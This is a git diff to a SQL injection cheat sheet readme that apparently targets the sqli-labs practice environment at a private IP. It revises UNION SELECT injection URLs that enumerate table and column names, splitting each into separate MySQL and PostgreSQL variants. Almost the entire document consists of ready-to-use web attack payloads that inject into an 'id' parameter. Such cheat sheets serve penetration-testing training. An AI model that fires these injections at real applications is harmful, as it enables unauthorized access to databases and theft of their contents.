diff --git a/CheatSheets/SQLI/barehands/readme.md b/CheatSheets/SQLI/barehands/readme.md index 899c029..02d0fd4 100644 --- a/CheatSheets/SQLI/barehands/readme.md +++ b/CheatSheets/SQLI/barehands/readme.md @@ -63,12 +63,16 @@ Sorting columns to find maximum column #### Finding table names from a database -`http://192.168.1.104/Less-1/?id=-1 union select 1, 2, tablename from pg_tables where table_catalog="database_name"` +`http://192.168.1.104/Less-1/?id=-1 union select 1, 2, table_name from information_schema.tables where table_schema="database_name"` **mysql** + +`http://192.168.1.104/Less-1/?id=-1 union select 1, 2, tablename from pg_tables where table_catalog="database_name"` **postgres** #### Finding column names from a table -`http://192.168.1.104/Less-1/?id=-1 union select 1, 2, column_name from information_schema.columns where table_catalog="database_name" and table_name="tablename"` +`http://192.168.1.104/Less-1/?id=-1 union select 1, 2, column_name from information_schema.columns where table_schema="database_name" and table_name="tablename"` **mysql** + +`http://192.168.1.104/Less-1/?id=-1 union select 1, 2, column_name from information_schema.columns where table_catalog="database_name" and table_name="tablename"` **postgres** #### Concatenate